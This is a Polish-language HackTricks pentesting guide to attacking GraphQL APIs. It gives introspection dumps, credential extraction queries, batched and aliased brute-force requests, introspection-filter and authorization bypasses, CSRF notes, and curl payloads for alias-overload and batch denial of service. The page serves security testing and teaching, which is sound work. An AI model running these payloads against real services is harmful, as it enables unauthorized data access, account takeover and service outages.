mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
657 lines
44 KiB
Markdown
657 lines
44 KiB
Markdown
# GraphQL
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Wprowadzenie
|
||
|
||
GraphQL jest **wyróżniany** jako **efektywna alternatywa** dla REST API, oferując uproszczone podejście do zapytań o dane z backendu. W przeciwieństwie do REST, który często wymaga wielu żądań do różnych punktów końcowych w celu zebrania danych, GraphQL umożliwia pobranie wszystkich potrzebnych informacji za pomocą **jednego żądania**. To uproszczenie znacząco **korzysta dla deweloperów**, zmniejszając złożoność ich procesów pobierania danych.
|
||
|
||
## GraphQL a bezpieczeństwo
|
||
|
||
Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe luki w zabezpieczeniach. Kluczowym punktem do zauważenia jest to, że **GraphQL domyślnie nie zawiera mechanizmów uwierzytelniania**. Odpowiedzialność za wdrożenie takich środków bezpieczeństwa spoczywa na deweloperach. Bez odpowiedniego uwierzytelnienia, punkty końcowe GraphQL mogą ujawniać wrażliwe informacje nieautoryzowanym użytkownikom, co stanowi istotne ryzyko bezpieczeństwa.
|
||
|
||
### Ataki brute force na katalogi i GraphQL
|
||
|
||
Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie konkretnych ścieżek w atakach brute force na katalogi. Te ścieżki to:
|
||
|
||
- `/graphql`
|
||
- `/graphiql`
|
||
- `/graphql.php`
|
||
- `/graphql/console`
|
||
- `/api`
|
||
- `/api/graphql`
|
||
- `/graphql/api`
|
||
- `/graphql/graphql`
|
||
|
||
Identyfikacja otwartych instancji GraphQL pozwala na zbadanie wspieranych zapytań. To jest kluczowe dla zrozumienia danych dostępnych przez punkt końcowy. System introspekcji GraphQL ułatwia to, szczegółowo opisując zapytania, które wspiera schemat. Aby uzyskać więcej informacji na ten temat, zapoznaj się z dokumentacją GraphQL na temat introspekcji: [**GraphQL: język zapytań dla API.**](https://graphql.org/learn/introspection/)
|
||
|
||
### Odcisk
|
||
|
||
Narzędzie [**graphw00f**](https://github.com/dolevf/graphw00f) jest w stanie wykryć, który silnik GraphQL jest używany na serwerze, a następnie wydrukować przydatne informacje dla audytora bezpieczeństwa.
|
||
|
||
#### Zapytania uniwersalne <a href="#universal-queries" id="universal-queries"></a>
|
||
|
||
Aby sprawdzić, czy URL jest usługą GraphQL, można wysłać **zapytanie uniwersalne**, `query{__typename}`. Jeśli odpowiedź zawiera `{"data": {"__typename": "Query"}}`, potwierdza to, że URL hostuje punkt końcowy GraphQL. Ta metoda opiera się na polu `__typename` GraphQL, które ujawnia typ zapytanego obiektu.
|
||
```javascript
|
||
query{__typename}
|
||
```
|
||
### Podstawowa Enumeracja
|
||
|
||
Graphql zazwyczaj obsługuje **GET**, **POST** (x-www-form-urlencoded) i **POST**(json). Chociaż dla bezpieczeństwa zaleca się zezwolenie tylko na json, aby zapobiec atakom CSRF.
|
||
|
||
#### Introspekcja
|
||
|
||
Aby użyć introspekcji do odkrycia informacji o schemacie, zapytaj pole `__schema`. To pole jest dostępne w typie głównym wszystkich zapytań.
|
||
```bash
|
||
query={__schema{types{name,fields{name}}}}
|
||
```
|
||
Za pomocą tego zapytania znajdziesz nazwy wszystkich używanych typów:
|
||
|
||
.png>)
|
||
```bash
|
||
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
||
```
|
||
Za pomocą tego zapytania możesz wyodrębnić wszystkie typy, ich pola i argumenty (oraz typ argumentów). Będzie to bardzo przydatne, aby wiedzieć, jak zapytać bazę danych.
|
||
|
||
.png>)
|
||
|
||
**Błędy**
|
||
|
||
Interesujące jest, czy **błędy** będą **pokazywane**, ponieważ przyczynią się do użytecznych **informacji.**
|
||
```
|
||
?query={__schema}
|
||
?query={}
|
||
?query={thisdefinitelydoesnotexist}
|
||
```
|
||
.png>)
|
||
|
||
**Enumerowanie schematu bazy danych za pomocą introspekcji**
|
||
|
||
> [!TIP]
|
||
> Jeśli introspekcja jest włączona, ale powyższe zapytanie nie działa, spróbuj usunąć dyrektywy `onOperation`, `onFragment` i `onField` z struktury zapytania.
|
||
```bash
|
||
#Full introspection query
|
||
|
||
query IntrospectionQuery {
|
||
__schema {
|
||
queryType {
|
||
name
|
||
}
|
||
mutationType {
|
||
name
|
||
}
|
||
subscriptionType {
|
||
name
|
||
}
|
||
types {
|
||
...FullType
|
||
}
|
||
directives {
|
||
name
|
||
description
|
||
args {
|
||
...InputValue
|
||
}
|
||
onOperation #Often needs to be deleted to run query
|
||
onFragment #Often needs to be deleted to run query
|
||
onField #Often needs to be deleted to run query
|
||
}
|
||
}
|
||
}
|
||
|
||
fragment FullType on __Type {
|
||
kind
|
||
name
|
||
description
|
||
fields(includeDeprecated: true) {
|
||
name
|
||
description
|
||
args {
|
||
...InputValue
|
||
}
|
||
type {
|
||
...TypeRef
|
||
}
|
||
isDeprecated
|
||
deprecationReason
|
||
}
|
||
inputFields {
|
||
...InputValue
|
||
}
|
||
interfaces {
|
||
...TypeRef
|
||
}
|
||
enumValues(includeDeprecated: true) {
|
||
name
|
||
description
|
||
isDeprecated
|
||
deprecationReason
|
||
}
|
||
possibleTypes {
|
||
...TypeRef
|
||
}
|
||
}
|
||
|
||
fragment InputValue on __InputValue {
|
||
name
|
||
description
|
||
type {
|
||
...TypeRef
|
||
}
|
||
defaultValue
|
||
}
|
||
|
||
fragment TypeRef on __Type {
|
||
kind
|
||
name
|
||
ofType {
|
||
kind
|
||
name
|
||
ofType {
|
||
kind
|
||
name
|
||
ofType {
|
||
kind
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
Zapytanie introspekcyjne inline:
|
||
```
|
||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||
```
|
||
Ostatnia linia kodu to zapytanie graphql, które wyświetli wszystkie metainformacje z graphql (nazwy obiektów, parametry, typy...)
|
||
|
||
.png>)
|
||
|
||
Jeśli introspekcja jest włączona, możesz użyć [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager), aby zobaczyć w GUI wszystkie opcje.
|
||
|
||
### Zapytania
|
||
|
||
Teraz, gdy wiemy, jaki rodzaj informacji jest zapisany w bazie danych, spróbujmy **wyodrębnić kilka wartości**.
|
||
|
||
W introspekcji możesz znaleźć **który obiekt możesz bezpośrednio zapytać** (ponieważ nie możesz zapytać obiektu tylko dlatego, że istnieje). Na poniższym obrazku możesz zobaczyć, że "_queryType_" nazywa się "_Query_", a jednym z pól obiektu "_Query_" jest "_flags_", które jest również typem obiektu. Dlatego możesz zapytać obiekt flagi.
|
||
|
||

|
||
|
||
Zauważ, że typ zapytania "_flags_" to "_Flags_", a ten obiekt jest zdefiniowany jak poniżej:
|
||
|
||
.png>)
|
||
|
||
Możesz zobaczyć, że obiekty "_Flags_" składają się z **name** i **value**. Następnie możesz uzyskać wszystkie nazwy i wartości flag za pomocą zapytania:
|
||
```javascript
|
||
query={flags{name, value}}
|
||
```
|
||
Zauważ, że jeśli **obiekt do zapytania** jest **typem** **prymitywnym** takim jak **string**, jak w poniższym przykładzie
|
||
|
||
.png>)
|
||
|
||
Możesz po prostu zapytać o to za pomocą:
|
||
```javascript
|
||
query = { hiddenFlags }
|
||
```
|
||
W innym przykładzie, gdzie były 2 obiekty wewnątrz obiektu typu "_Query_": "_user_" i "_users_".\
|
||
Jeśli te obiekty nie potrzebują żadnych argumentów do wyszukiwania, można **pobierać wszystkie informacje z nich** po prostu **prosząc** o dane, które chcesz. W tym przykładzie z Internetu można wyodrębnić zapisane nazwy użytkowników i hasła:
|
||
|
||
.png>)
|
||
|
||
Jednak w tym przykładzie, jeśli spróbujesz to zrobić, otrzymasz ten **błąd**:
|
||
|
||
.png>)
|
||
|
||
Wygląda na to, że w jakiś sposób będzie szukać używając argumentu "_**uid**_" typu _**Int**_.\
|
||
Tak czy inaczej, już to wiedzieliśmy, w sekcji [Basic Enumeration](graphql.md#basic-enumeration) zaproponowano zapytanie, które pokazywało nam wszystkie potrzebne informacje: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||
|
||
Jeśli przeczytasz obrazek dostarczony, gdy uruchomiłem to zapytanie, zobaczysz, że "_**user**_" miał **arg** "_**uid**_" typu _Int_.
|
||
|
||
Więc, wykonując lekką _**uid**_ bruteforce, odkryłem, że dla _**uid**=**1**_ odzyskano nazwę użytkownika i hasło:\
|
||
`query={user(uid:1){user,password}}`
|
||
|
||
.png>)
|
||
|
||
Zauważ, że **odkryłem**, że mogę prosić o **parametry** "_**user**_" i "_**password**_", ponieważ jeśli spróbuję szukać czegoś, co nie istnieje (`query={user(uid:1){noExists}}`), otrzymuję ten błąd:
|
||
|
||
.png>)
|
||
|
||
A podczas **fazy enumeracji** odkryłem, że obiekt "_**dbuser**_" miał jako pola "_**user**_" i "_**password**_.
|
||
|
||
**Sztuczka z zrzutem ciągu zapytania (dzięki @BinaryShadow\_)**
|
||
|
||
Jeśli możesz wyszukiwać według typu ciągu, jak: `query={theusers(description: ""){username,password}}` i **szukasz pustego ciągu**, to **zrzuci wszystkie dane**. (_Zauważ, że ten przykład nie jest związany z przykładem z samouczków, w tym przykładzie załóż, że możesz wyszukiwać używając "**theusers**" według pola typu "**description**"_).
|
||
|
||
### Wyszukiwanie
|
||
|
||
W tej konfiguracji, **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane przez swój **email** i **imię**; **filmy** przez swoją **nazwę** i **ocenę**. **Osoby** mogą być przyjaciółmi i również mieć filmy, co wskazuje na relacje w bazie danych.
|
||
|
||
Możesz **wyszukiwać** osoby **po** **imię** i uzyskać ich emaile:
|
||
```javascript
|
||
{
|
||
searchPerson(name: "John Doe") {
|
||
email
|
||
}
|
||
}
|
||
```
|
||
Możesz **szukać** osób **po** **nazwie** i uzyskać ich **subskrybowane** **filmy**:
|
||
```javascript
|
||
{
|
||
searchPerson(name: "John Doe") {
|
||
email
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
Zauważ, jak wskazano, aby pobrać `name` `subscribedMovies` danej osoby.
|
||
|
||
Możesz również **wyszukiwać kilka obiektów jednocześnie**. W tym przypadku wyszukiwane są 2 filmy:
|
||
```javascript
|
||
{
|
||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||
name
|
||
}
|
||
}r
|
||
```
|
||
Lub nawet **relacje kilku różnych obiektów za pomocą aliasów**:
|
||
```javascript
|
||
{
|
||
johnsMovieList: searchPerson(name: "John Doe") {
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
davidsMovieList: searchPerson(name: "David Smith") {
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
### Mutacje
|
||
|
||
**Mutacje są używane do wprowadzania zmian po stronie serwera.**
|
||
|
||
W **introspekcji** można znaleźć **zadeklarowane** **mutacje**. Na poniższym obrazku "_MutationType_" nazywa się "_Mutation_" a obiekt "_Mutation_" zawiera nazwy mutacji (jak "_addPerson_" w tym przypadku):
|
||
|
||
.png>)
|
||
|
||
W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane po swoim **emailu** i **nazwie**; **filmy** po swojej **nazwie** i **ocenie**. **Osoby** mogą być przyjaciółmi i również posiadać filmy, co wskazuje na relacje w bazie danych.
|
||
|
||
Mutacja do **tworzenia nowych** filmów w bazie danych może wyglądać jak poniższa (w tym przykładzie mutacja nazywa się `addMovie`):
|
||
```javascript
|
||
mutation {
|
||
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
||
movies {
|
||
name
|
||
rating
|
||
}
|
||
}
|
||
}
|
||
```
|
||
**Zauważ, jak zarówno wartości, jak i typ danych są wskazane w zapytaniu.**
|
||
|
||
Dodatkowo, baza danych obsługuje operację **mutacji**, nazwaną `addPerson`, która umożliwia tworzenie **osób** wraz z ich powiązaniami z istniejącymi **przyjaciółmi** i **filmami**. Ważne jest, aby zauważyć, że przyjaciele i filmy muszą istnieć w bazie danych przed powiązaniem ich z nowo utworzoną osobą.
|
||
```javascript
|
||
mutation {
|
||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||
person {
|
||
name
|
||
email
|
||
friends {
|
||
edges {
|
||
node {
|
||
name
|
||
email
|
||
}
|
||
}
|
||
}
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
rating
|
||
releaseYear
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
### Przeciążanie dyrektyw
|
||
|
||
Jak wyjaśniono w [**jednej z luk opisanych w tym raporcie**](https://www.landh.tech/blog/20240304-google-hack-50000/), przeciążanie dyrektyw polega na wywoływaniu dyrektywy nawet miliony razy, aby zmusić serwer do marnowania operacji, aż będzie możliwe przeprowadzenie DoS.
|
||
|
||
### Grupowanie brute-force w 1 żądaniu API
|
||
|
||
Te informacje zostały zaczerpnięte z [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
||
Uwierzytelnianie przez GraphQL API z **jednoczesnym wysyłaniem wielu zapytań z różnymi poświadczeniami** w celu ich sprawdzenia. To klasyczny atak brute force, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło na żądanie HTTP dzięki funkcji grupowania GraphQL. To podejście oszukuje zewnętrzne aplikacje monitorujące stawki, sprawiając, że myślą, iż wszystko jest w porządku i nie ma bota próbującego zgadnąć hasła.
|
||
|
||
Poniżej znajduje się najprostsza demonstracja żądania uwierzytelnienia aplikacji, z **3 różnymi parami email/hasło jednocześnie**. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób:
|
||
|
||
.png>)
|
||
|
||
Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły _null_ i odzwierciedliły odpowiednie informacje w sekcji _error_. **Drugie mutacja miała poprawne dane uwierzytelniające** i odpowiedź zawiera poprawny token sesji uwierzytelniającej.
|
||
|
||
 (1).png>)
|
||
|
||
## GraphQL bez introspekcji
|
||
|
||
Coraz więcej **punktów końcowych graphql wyłącza introspekcję**. Jednak błędy, które graphql zgłasza, gdy otrzymuje nieoczekiwane żądanie, są wystarczające dla narzędzi takich jak [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), aby odtworzyć większość schematu.
|
||
|
||
Co więcej, rozszerzenie Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **obserwuje żądania GraphQL API przechodzące przez Burp** i **buduje** wewnętrzny **schemat** GraphQL z każdym nowym zapytaniem, które widzi. Może również ujawniać schemat dla GraphiQL i Voyager. Rozszerzenie zwraca fałszywą odpowiedź, gdy otrzymuje zapytanie introspekcyjne. W rezultacie GraphQuail pokazuje wszystkie zapytania, argumenty i pola dostępne do użycia w API. Więcej informacji [**sprawdź to**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||
|
||
Ładna **lista słów** do odkrywania [**jednostek GraphQL można znaleźć tutaj**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||
|
||
### Obejście obrony introspekcji GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||
|
||
Aby obejść ograniczenia dotyczące zapytań introspekcyjnych w API, wstawienie **specjalnego znaku po słowie kluczowym `__schema`** okazuje się skuteczne. Ta metoda wykorzystuje powszechne niedopatrzenia programistów w wzorcach regex, które mają na celu zablokowanie introspekcji, koncentrując się na słowie kluczowym `__schema`. Dodając znaki takie jak **spacje, nowe linie i przecinki**, które GraphQL ignoruje, ale mogą nie być uwzględnione w regex, można obejść ograniczenia. Na przykład zapytanie introspekcyjne z nową linią po `__schema` może obejść takie obrony:
|
||
```bash
|
||
# Example with newline to bypass
|
||
{
|
||
"query": "query{__schema
|
||
{queryType{name}}}"
|
||
}
|
||
```
|
||
Jeśli niepowodzenie, rozważ alternatywne metody żądań, takie jak **żądania GET** lub **POST z `x-www-form-urlencoded`**, ponieważ ograniczenia mogą dotyczyć tylko żądań POST.
|
||
|
||
### Spróbuj WebSocketów
|
||
|
||
Jak wspomniano w [**tej prezentacji**](https://www.youtube.com/watch?v=tIo_t5uUK50), sprawdź, czy możliwe jest połączenie z graphQL za pomocą WebSocketów, ponieważ może to pozwolić na ominięcie potencjalnego WAF i sprawić, że komunikacja WebSocket ujawni schemat graphQL:
|
||
```javascript
|
||
ws = new WebSocket("wss://target/graphql", "graphql-ws")
|
||
ws.onopen = function start(event) {
|
||
var GQL_CALL = {
|
||
extensions: {},
|
||
query: `
|
||
{
|
||
__schema {
|
||
_types {
|
||
name
|
||
}
|
||
}
|
||
}`,
|
||
}
|
||
|
||
var graphqlMsg = {
|
||
type: "GQL.START",
|
||
id: "1",
|
||
payload: GQL_CALL,
|
||
}
|
||
ws.send(JSON.stringify(graphqlMsg))
|
||
}
|
||
```
|
||
### **Odkrywanie Ujawnionych Struktur GraphQL**
|
||
|
||
Gdy introspekcja jest wyłączona, badanie kodu źródłowego strony internetowej w poszukiwaniu wstępnie załadowanych zapytań w bibliotekach JavaScript jest przydatną strategią. Te zapytania można znaleźć, korzystając z zakładki `Sources` w narzędziach deweloperskich, co daje wgląd w schemat API i ujawnia potencjalnie **ujawnione wrażliwe zapytania**. Polecenia do wyszukiwania w narzędziach deweloperskich to:
|
||
```javascript
|
||
Inspect/Sources/"Search all files"
|
||
file:* mutation
|
||
file:* query
|
||
```
|
||
## CSRF w GraphQL
|
||
|
||
Jeśli nie wiesz, czym jest CSRF, przeczytaj następującą stronę:
|
||
|
||
{{#ref}}
|
||
../../pentesting-web/csrf-cross-site-request-forgery.md
|
||
{{#endref}}
|
||
|
||
Możesz znaleźć kilka punktów końcowych GraphQL **skonfigurowanych bez tokenów CSRF.**
|
||
|
||
Zauważ, że żądania GraphQL są zazwyczaj wysyłane za pomocą żądań POST z użyciem nagłówka Content-Type **`application/json`**.
|
||
```javascript
|
||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||
```
|
||
Jednak większość punktów końcowych GraphQL obsługuje również **`form-urlencoded` POST requests:**
|
||
```javascript
|
||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||
```
|
||
Zatem, ponieważ żądania CSRF, takie jak poprzednie, są wysyłane **bez żądań preflight**, możliwe jest **wprowadzenie** **zmian** w GraphQL, wykorzystując CSRF.
|
||
|
||
Należy jednak zauważyć, że nowa domyślna wartość ciasteczka flagi `samesite` w Chrome to `Lax`. Oznacza to, że ciasteczko będzie wysyłane tylko z zewnętrznej strony w żądaniach GET.
|
||
|
||
Należy pamiętać, że zazwyczaj możliwe jest również wysłanie **żądania** **zapytania** jako **żądania GET**, a token CSRF może nie być weryfikowany w żądaniu GET.
|
||
|
||
Ponadto, wykorzystując atak [**XS-Search**](../../pentesting-web/xs-search/index.html), może być możliwe wyeksfiltrowanie treści z punktu końcowego GraphQL, wykorzystując dane uwierzytelniające użytkownika.
|
||
|
||
Aby uzyskać więcej informacji, **sprawdź** [**oryginalny post tutaj**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||
|
||
## Przechwytywanie WebSocket między witrynami w GraphQL
|
||
|
||
Podobnie jak w przypadku podatności CRSF wykorzystujących GraphQL, możliwe jest również przeprowadzenie **przechwytywania WebSocket między witrynami, aby wykorzystać uwierzytelnienie w GraphQL z niechronionymi ciasteczkami** i zmusić użytkownika do wykonania nieoczekiwanych działań w GraphQL.
|
||
|
||
Aby uzyskać więcej informacji, sprawdź:
|
||
|
||
{{#ref}}
|
||
../../pentesting-web/websocket-attacks.md
|
||
{{#endref}}
|
||
|
||
## Autoryzacja w GraphQL
|
||
|
||
Wiele funkcji GraphQL zdefiniowanych na punkcie końcowym może sprawdzać tylko uwierzytelnienie żądającego, ale nie autoryzację.
|
||
|
||
Modyfikacja zmiennych wejściowych zapytania może prowadzić do ujawnienia wrażliwych szczegółów konta [leak](https://hackerone.com/reports/792927).
|
||
|
||
Mutacja może nawet prowadzić do przejęcia konta, próbując zmodyfikować dane innego konta.
|
||
```javascript
|
||
{
|
||
"operationName":"updateProfile",
|
||
"variables":{"username":INJECT,"data":INJECT},
|
||
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
||
}
|
||
```
|
||
### Ominięcie autoryzacji w GraphQL
|
||
|
||
[Łączenie zapytań](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) może obejść słaby system autoryzacji.
|
||
|
||
W poniższym przykładzie widać, że operacja to "forgotPassword" i powinna ona wykonywać tylko zapytanie forgotPassword z nią związane. Można to obejść, dodając zapytanie na końcu, w tym przypadku dodajemy "register" oraz zmienną użytkownika, aby system zarejestrował się jako nowy użytkownik.
|
||
|
||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||
|
||
## Ominięcie limitów szybkości przy użyciu aliasów w GraphQL
|
||
|
||
W GraphQL aliasy to potężna funkcja, która pozwala na **jawne nazywanie właściwości** podczas składania żądania API. Ta możliwość jest szczególnie przydatna do pobierania **wielu instancji tego samego typu** obiektu w jednym żądaniu. Aliasy mogą być używane do przezwyciężenia ograniczenia, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.
|
||
|
||
Aby uzyskać szczegółowe zrozumienie aliasów GraphQL, zaleca się następujące źródło: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||
|
||
Chociaż głównym celem aliasów jest zmniejszenie potrzeby wielu wywołań API, zidentyfikowano niezamierzony przypadek użycia, w którym aliasy mogą być wykorzystywane do przeprowadzania ataków brute force na punkt końcowy GraphQL. Jest to możliwe, ponieważ niektóre punkty końcowe są chronione przez ograniczniki szybkości zaprojektowane w celu powstrzymania ataków brute force poprzez ograniczenie **liczby żądań HTTP**. Jednak te ograniczniki szybkości mogą nie uwzględniać liczby operacji w każdym żądaniu. Biorąc pod uwagę, że aliasy pozwalają na dołączenie wielu zapytań w jednym żądaniu HTTP, mogą one obejść takie środki ograniczające.
|
||
|
||
Rozważ poniższy przykład, który ilustruje, jak zapytania z aliasami mogą być używane do weryfikacji ważności kodów rabatowych w sklepie. Ta metoda może ominąć ograniczenia szybkości, ponieważ kompiluje kilka zapytań w jedno żądanie HTTP, potencjalnie umożliwiając jednoczesną weryfikację wielu kodów rabatowych.
|
||
```bash
|
||
# Example of a request utilizing aliased queries to check for valid discount codes
|
||
query isValidDiscount($code: Int) {
|
||
isvalidDiscount(code:$code){
|
||
valid
|
||
}
|
||
isValidDiscount2:isValidDiscount(code:$code){
|
||
valid
|
||
}
|
||
isValidDiscount3:isValidDiscount(code:$code){
|
||
valid
|
||
}
|
||
}
|
||
```
|
||
## DoS w GraphQL
|
||
|
||
### Przeciążenie aliasów
|
||
|
||
**Przeciążenie aliasów** to luka w GraphQL, w której atakujący przeciążają zapytanie wieloma aliasami dla tego samego pola, co powoduje, że resolver backendu wykonuje to pole wielokrotnie. Może to przytłoczyć zasoby serwera, prowadząc do **Odmowy Usługi (DoS)**. Na przykład, w poniższym zapytaniu to samo pole (`expensiveField`) jest żądane 1 000 razy za pomocą aliasów, zmuszając backend do obliczenia go 1 000 razy, co potencjalnie wyczerpuje CPU lub pamięć:
|
||
```graphql
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
curl -X POST -H "Content-Type: application/json" \
|
||
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
Aby temu zapobiec, wdroż ograniczenia liczby aliasów, analizę złożoności zapytań lub ograniczenia szybkości, aby zapobiec nadużywaniu zasobów.
|
||
|
||
### **Batched Query oparte na tablicach**
|
||
|
||
**Batched Query oparte na tablicach** to luka, w której API GraphQL pozwala na grupowanie wielu zapytań w jednym żądaniu, co umożliwia atakującemu wysłanie dużej liczby zapytań jednocześnie. Może to przytłoczyć backend, wykonując wszystkie zgrupowane zapytania równolegle, zużywając nadmierne zasoby (CPU, pamięć, połączenia z bazą danych) i potencjalnie prowadząc do **Denial of Service (DoS)**. Jeśli nie ma ograniczenia liczby zapytań w partii, atakujący może to wykorzystać do pogorszenia dostępności usługi.
|
||
```graphql
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||
-H "Content-Type: application/json" \
|
||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||
'https://example.com/graphql'
|
||
```
|
||
